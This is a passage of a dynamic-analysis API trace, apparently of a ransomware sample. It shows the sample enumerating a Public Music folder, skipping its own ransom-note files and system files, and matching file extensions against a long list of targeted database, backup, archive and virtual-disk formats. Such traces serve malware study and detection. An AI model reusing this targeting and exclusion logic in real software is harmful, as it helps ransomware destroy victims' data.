	[0035.967] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2db4b230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2db4b230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.967] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.967] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.967] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.967] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.967] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.967] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.967] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.967] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.968] lstrlenW (lpString="desktop.ini") returned 11
	[0035.968] lstrlenW (lpString="C:\\Users\\Public\\Music\\*") returned 23
	[0035.968] lstrcpyW (in: lpString1=0x2d3e57c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.968] lstrlenW (lpString="desktop.ini") returned 11
	[0035.968] lstrlenW (lpString="Apollon865") returned 10
	[0035.968] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.968] lstrlenW (lpString=".dll") returned 4
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.968] lstrlenW (lpString=".lnk") returned 4
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.968] lstrlenW (lpString=".ini") returned 4
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.968] lstrlenW (lpString=".sys") returned 4
	[0035.968] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.968] lstrlenW (lpString="desktop.ini") returned 11
	[0035.968] lstrlenW (lpString="bak") returned 3
	[0035.968] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.968] lstrlenW (lpString="ba_") returned 3
	[0035.968] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.968] lstrlenW (lpString="dbb") returned 3
	[0035.968] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.968] lstrlenW (lpString="vmdk") returned 4
	[0035.968] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.968] lstrlenW (lpString="rar") returned 3
	[0035.968] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.968] lstrlenW (lpString="zip") returned 3
	[0035.968] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.968] lstrlenW (lpString="tgz") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.969] lstrlenW (lpString="vbox") returned 4
	[0035.969] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.969] lstrlenW (lpString="vdi") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.969] lstrlenW (lpString="vhd") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.969] lstrlenW (lpString="vhdx") returned 4
	[0035.969] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.969] lstrlenW (lpString="avhd") returned 4
	[0035.969] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.969] lstrlenW (lpString="db") returned 2
	[0035.969] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.969] lstrlenW (lpString="db2") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.969] lstrlenW (lpString="db3") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.969] lstrlenW (lpString="dbf") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.969] lstrlenW (lpString="mdf") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.969] lstrlenW (lpString="mdb") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.969] lstrlenW (lpString="sql") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.969] lstrlenW (lpString="sqlite") returned 6
	[0035.969] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.969] lstrlenW (lpString="sqlite3") returned 7
	[0035.969] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.969] lstrlenW (lpString="sqlitedb") returned 8
	[0035.969] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.969] lstrlenW (lpString="xml") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.969] lstrlenW (lpString="$er") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.969] lstrlenW (lpString="4dd") returned 3
	[0035.969] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.970] lstrlenW (lpString="4dl") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.970] lstrlenW (lpString="^^^") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.970] lstrlenW (lpString="abs") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.970] lstrlenW (lpString="abx") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.970] lstrlenW (lpString="accdb") returned 5
	[0035.970] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.970] lstrlenW (lpString="accdc") returned 5
	[0035.970] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.970] lstrlenW (lpString="accde") returned 5
	[0035.970] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.970] lstrlenW (lpString="accdr") returned 5
	[0035.970] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.970] lstrlenW (lpString="accdt") returned 5
	[0035.970] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.970] lstrlenW (lpString="accdw") returned 5
	[0035.970] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.970] lstrlenW (lpString="accft") returned 5
	[0035.970] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.970] lstrlenW (lpString="adb") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.970] lstrlenW (lpString="adb") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.970] lstrlenW (lpString="ade") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.970] lstrlenW (lpString="adf") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.970] lstrlenW (lpString="adn") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.970] lstrlenW (lpString="adp") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.970] lstrlenW (lpString="alf") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.970] lstrlenW (lpString="ask") returned 3
	[0035.970] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.971] lstrlenW (lpString="btr") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.971] lstrlenW (lpString="cat") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.971] lstrlenW (lpString="cdb") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.971] lstrlenW (lpString="ckp") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.971] lstrlenW (lpString="cma") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.971] lstrlenW (lpString="cpd") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.971] lstrlenW (lpString="dacpac") returned 6
	[0035.971] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.971] lstrlenW (lpString="dad") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.971] lstrlenW (lpString="dadiagrams") returned 10
	[0035.971] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.971] lstrlenW (lpString="daschema") returned 8
	[0035.971] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.971] lstrlenW (lpString="db-journal") returned 10
	[0035.971] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.971] lstrlenW (lpString="db-shm") returned 6
	[0035.971] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.971] lstrlenW (lpString="db-wal") returned 6
	[0035.971] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.971] lstrlenW (lpString="dbc") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.971] lstrlenW (lpString="dbs") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.971] lstrlenW (lpString="dbt") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.971] lstrlenW (lpString="dbv") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.971] lstrlenW (lpString="dbx") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.971] lstrlenW (lpString="dcb") returned 3
	[0035.971] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.971] lstrlenW (lpString="dct") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.972] lstrlenW (lpString="dcx") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.972] lstrlenW (lpString="ddl") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.972] lstrlenW (lpString="dlis") returned 4
	[0035.972] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.972] lstrlenW (lpString="dp1") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.972] lstrlenW (lpString="dqy") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.972] lstrlenW (lpString="dsk") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.972] lstrlenW (lpString="dsn") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.972] lstrlenW (lpString="dtsx") returned 4
	[0035.972] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.972] lstrlenW (lpString="dxl") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.972] lstrlenW (lpString="eco") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.972] lstrlenW (lpString="ecx") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.972] lstrlenW (lpString="edb") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.972] lstrlenW (lpString="epim") returned 4
	[0035.972] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.972] lstrlenW (lpString="fcd") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.972] lstrlenW (lpString="fdb") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.972] lstrlenW (lpString="fic") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.972] lstrlenW (lpString="flexolibrary") returned 12
	[0035.972] lstrlenW (lpString="fm5") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.972] lstrlenW (lpString="fmp") returned 3
	[0035.972] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.973] lstrlenW (lpString="fmp12") returned 5
	[0035.973] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.973] lstrlenW (lpString="fmpsl") returned 5
	[0035.973] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.973] lstrlenW (lpString="fol") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.973] lstrlenW (lpString="fp3") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.973] lstrlenW (lpString="fp4") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.973] lstrlenW (lpString="fp5") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.973] lstrlenW (lpString="fp7") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.973] lstrlenW (lpString="fpt") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.973] lstrlenW (lpString="frm") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.973] lstrlenW (lpString="gdb") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.973] lstrlenW (lpString="gdb") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.973] lstrlenW (lpString="grdb") returned 4
	[0035.973] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.973] lstrlenW (lpString="gwi") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.973] lstrlenW (lpString="hdb") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.973] lstrlenW (lpString="his") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.973] lstrlenW (lpString="ib") returned 2
	[0035.973] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.973] lstrlenW (lpString="idb") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.973] lstrlenW (lpString="ihx") returned 3
	[0035.973] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.973] lstrlenW (lpString="itdb") returned 4
	[0035.973] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.974] lstrlenW (lpString="itw") returned 3
	[0035.974] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.974] lstrlenW (lpString="jet") returned 3
	[0035.974] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.974] lstrlenW (lpString="jtx") returned 3
	[0035.974] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.974] lstrlenW (lpString="kdb") returned 3
	[0035.974] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.974] lstrlenW (lpString="kexi") returned 4
	[0035.974] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.974] lstrlenW (lpString="kexic") returned 5
	[0035.974] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.974] lstrlenW (lpString="kexis") returned 5
	[0035.974] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.974] lstrlenW (lpString="lgc") returned 3
	[0035.974] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.974] lstrlenW (lpString="lwx") returned 3
	[0035.974] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.974] lstrlenW (lpString="maf") returned 3
	[0035.974] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.975] lstrlenW (lpString="maq") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.976] lstrlenW (lpString="mar") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.976] lstrlenW (lpString="marshal") returned 7
	[0035.976] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.976] lstrlenW (lpString="mas") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.976] lstrlenW (lpString="mav") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.976] lstrlenW (lpString="maw") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.976] lstrlenW (lpString="mdbhtml") returned 7
	[0035.976] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.976] lstrlenW (lpString="mdn") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.976] lstrlenW (lpString="mdt") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.976] lstrlenW (lpString="mfd") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.976] lstrlenW (lpString="mpd") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.976] lstrlenW (lpString="mrg") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.976] lstrlenW (lpString="mud") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.976] lstrlenW (lpString="mwb") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.976] lstrlenW (lpString="myd") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.976] lstrlenW (lpString="ndf") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.976] lstrlenW (lpString="nnt") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.976] lstrlenW (lpString="nrmlib") returned 6
	[0035.976] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.976] lstrlenW (lpString="ns2") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.976] lstrlenW (lpString="ns3") returned 3
	[0035.976] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.977] lstrlenW (lpString="ns4") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.977] lstrlenW (lpString="nsf") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.977] lstrlenW (lpString="nv") returned 2
	[0035.977] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.977] lstrlenW (lpString="nv2") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.977] lstrlenW (lpString="nwdb") returned 4
	[0035.977] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.977] lstrlenW (lpString="nyf") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.977] lstrlenW (lpString="odb") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.977] lstrlenW (lpString="odb") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.977] lstrlenW (lpString="oqy") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.977] lstrlenW (lpString="ora") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.977] lstrlenW (lpString="orx") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.977] lstrlenW (lpString="owc") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.977] lstrlenW (lpString="p96") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.977] lstrlenW (lpString="p97") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.977] lstrlenW (lpString="pan") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.977] lstrlenW (lpString="pdb") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.977] lstrlenW (lpString="pdm") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.977] lstrlenW (lpString="pnz") returned 3
	[0035.977] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.977] lstrlenW (lpString="qry") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.978] lstrlenW (lpString="qvd") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.978] lstrlenW (lpString="rbf") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.978] lstrlenW (lpString="rctd") returned 4
	[0035.978] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.978] lstrlenW (lpString="rod") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.978] lstrlenW (lpString="rodx") returned 4
	[0035.978] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.978] lstrlenW (lpString="rpd") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.978] lstrlenW (lpString="rsd") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.978] lstrlenW (lpString="sas7bdat") returned 8
	[0035.978] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.978] lstrlenW (lpString="sbf") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.978] lstrlenW (lpString="scx") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.978] lstrlenW (lpString="sdb") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.978] lstrlenW (lpString="sdc") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.978] lstrlenW (lpString="sdf") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.978] lstrlenW (lpString="sis") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.978] lstrlenW (lpString="spq") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.978] lstrlenW (lpString="te") returned 2
	[0035.978] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.978] lstrlenW (lpString="teacher") returned 7
	[0035.978] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.978] lstrlenW (lpString="tmd") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.978] lstrlenW (lpString="tps") returned 3
	[0035.978] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.979] lstrlenW (lpString="trc") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.979] lstrlenW (lpString="trc") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.979] lstrlenW (lpString="trm") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.979] lstrlenW (lpString="udb") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.979] lstrlenW (lpString="udl") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.979] lstrlenW (lpString="usr") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.979] lstrlenW (lpString="v12") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.979] lstrlenW (lpString="vis") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.979] lstrlenW (lpString="vpd") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.979] lstrlenW (lpString="vvv") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.979] lstrlenW (lpString="wdb") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.979] lstrlenW (lpString="wmdb") returned 4
	[0035.979] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.979] lstrlenW (lpString="wrk") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.979] lstrlenW (lpString="xdb") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.979] lstrlenW (lpString="xld") returned 3
	[0035.979] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.979] lstrlenW (lpString="xmlff") returned 5
	[0035.979] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.979] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db4b230, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2db4b230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.979] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.979] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1
	[0035.979] lstrcmpiW (lpString1="Sample Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.979] lstrcmpiW (lpString1="Sample Music", lpString2="Apollon865.txt.exe") returned 1
	[0035.979] lstrcmpiW (lpString1="Sample Music", lpString2=".") returned 1
	[0035.979] lstrcmpiW (lpString1="Sample Music", lpString2="..") returned 1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="windows") returned -1
	[0035.980] lstrcmpiW (lpString1="Sample Music", lpString2="bootmgr") returned 1
